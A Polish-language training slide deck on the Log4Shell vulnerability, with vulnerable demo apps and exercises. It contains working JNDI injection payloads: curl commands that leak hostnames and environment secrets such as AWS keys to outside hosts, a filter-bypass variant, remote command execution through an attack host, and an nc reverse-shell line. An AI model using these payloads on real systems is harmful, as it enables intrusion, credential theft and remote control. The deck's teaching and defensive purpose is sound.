



**SIEĆ WYMIANY WIEDZY
DLA SPECJALISTÓW IT!**

15-17.03.2022 | 22-24.03.2022

LOG4Shell


Podatność dekady



Agenda

- Wstęp teoretyczny
- Ćwiczenia praktyczne
- konkurs

Bez Docker'a się nie obejdzie.






Log4J

LOG4J

- Używany w tysiącach projektów
- De facto standard logowania w aplikacjach Java
- Elastycznie konfigurowalny, bez konieczności modyfikacji aplikacji



Log4J






CVSS SCORE METRICS

A CVSS score is composed of three sets of metrics (**Base**, **Temporal**, **Environmental**), each of which have an underlying scoring component.

BASIC METRIC GROUP	TEMPORAL METRIC GROUP	ENVIRONMENTAL METRIC GROUP
Exploitability Metrics Attack Vector Attack Complexity Privileges Required User Interaction Scope	Impact Metrics Compatibility Impact Integrity Impact Availability Impact Scope	Exploit Code Maturity Remediation Level Report Confidence



CVSS v3.1 Base Score Calculator

ATTACK VECTOR	ATTACK COMPLEXITY	PRIVILEGES REQUIRED	USER INTERACTION
 Network	 Low	 None	 None
 Adjacent	 High	 Low	 Required
 Local		 High	
 Physical			
SCOPE	CONFIDENTIALITY	INTEGRITY	AVAILABILITY
 Changed	 High	 High	 High
 Unchanged	 Low	 Low	 Low
	 None	 None	 None
SEVERITY SCORE VECTOR			
Critical	10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H		



CVSSv3 score 10

- Severity 10 – tylko kilkanaście podatności rocznie
- Różnica pomiędzy 9.8, a 10.0
- **Scope changed** – tylko kilkanaście rocznie – wykorzystanie podatności □ wyjście poza podatny komponent



Demo #1



LDAP query



```
package com.eniac.logger;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

@RestController
public class MainController {

    private static final Logger logger = LogManager.getLogger("HelloWorld");
    private int counter = 0;

    @GetMapping("/")
    public String index(@RequestHeader("User-Agent") String userAgent) {
        logger.info("Received a request from User-Agent:" + userAgent);
        return "Log4Shell testowa aplikacja." + Integer.toString(counter++);
    }
}
```



Uruchomienie aplikacji

```
docker run --rm -p 8000:8000 sowisz/l4s-app1
```

<http://localhost:8000>

```
curl localhost 8000
```



CanaryTokens - canarytokens.org



What is this and why should I care?

[Documentation](#)

Select your token

-  Web bug / URL token
Alert when a URL is visited
-  DNS token
Alert when a hostname is requested
-  AWS keys
Alert when AWS key is used
-  Microsoft Word Document
Get alerted when a document is opened in Microsoft Word
-  Microsoft Excel Document
Get alerted when a document is opened in Microsoft Excel
-  Kubeconfig Token
Alert when a Kubeconfig is used
-  WireGuard VPN
Alert when a WireGuard VPN client config is used

Brought to you by Thinkst Can

es. Know. When it matters.

Exploit

```
curl -H  
'User-Agent${jndi:ldap://x${hostName}.L4J.  
97lcm9o78k2ror6yaxi8w8go3.canarytokens.com/a}' localhost:8000
```

<http://localhost:8000>



Co może wyciekać?

```
# Docker Lookup
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${docker:containerName}.domain.com/j}
${jndi:ldap://${docker:imageId}.domain.com/j}
${jndi:ldap://${docker:imageName}.domain.com/j}
${jndi:ldap://${docker:shortContainerId}.domain.com/j}
${jndi:ldap://${docker:shortImageId}.domain.com/j}

# Environment Lookup
${jndi:ldap://${env:USER}.domain.com/j}
${jndi:ldap://${env:user}.domain.com/j}
${jndi:ldap://${env:COMPUTERNAME}.domain.com/j}
${jndi:ldap://${env:USERDOMAIN}.domain.com/j}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.domain.com/j
}
${jndi:ldap://${hostName}.domain.com/j}
${jndi:ldap://${env:JAVA_VERSION}.domain.com/j

# Java Lookup
${jndi:ldap://${java:version}.domain.com/j}
${jndi:ldap://${java:runtime}.domain.com/j}
${jndi:ldap://${java:vm}.domain.com/j}
${jndi:ldap://${java:os}.domain.com/j}
${jndi:ldap://${java:locale}.domain.com/j}
${jndi:ldap://${java:hw}.domain.com/j}
```



Demo #2



```
package com.eniac.logger;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

@RestController
public class MainController {

    private static final Logger logger = LogManager.getLogger("14s-app2");
    private int counter = 0;

    @GetMapping("/")
    public String ala(@RequestHeader("User-Agent") String userAgent) {
        if( userAgent.toLowerCase().contains("jndi"))
            logger.warn("Attack detected");
        else
            logger.info("User-Agent:" + userAgent);
        return "Log4Shell-app2:"+Integer.toString(counter++);
    }
}
```



Uruchomienie aplikacji

```
docker run --rm -p 9000:9000 sowisz/l4s-app2
```

<http://localhost:9000>



Podpowiedź

`${lower:j}ndi`  `jndi`

<https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words>



Exploit


```
curl -H  
'User-Agent${${lower:j}ndi:ldap://x${hostName}.L4J.  
97lcm9o78k2ror6yaxi8w8go3.canarytokens.com/a}'  
34.118.44.50:9000
```



Demo #3



Phase 1



Phase 2





x.x.x.x



Lokalna aplikacja docker

Execute command line payload

attackhost: x.x.x.x

```
curl -H 'User-Agent:  
${jndi:ldap://attackhost:1389/Basic/Comm  
and/Base64/xxx}' localhost:9000
```

xxx – base64 encoded command to execute
Np. **touch /tmp/hack**



Demo #4



Execute command line payload

```
nc ip_addr 15000 -e /bin/sh
```



Konkurs #2

Adres: <http://x.x.x.x:9000>

Działa usługa podatna na log4shell

Wyciągnąć nazwę ostatniego użytkownika z /etc/passwd



Ochrona



Obrona

- Nie używać Javy (?)
- Zaktualizować
- Stara dobra zasada DMZ (usługa nie powinna mieć możliwości łączyć się do internetu) → a to jest domyślnie włączone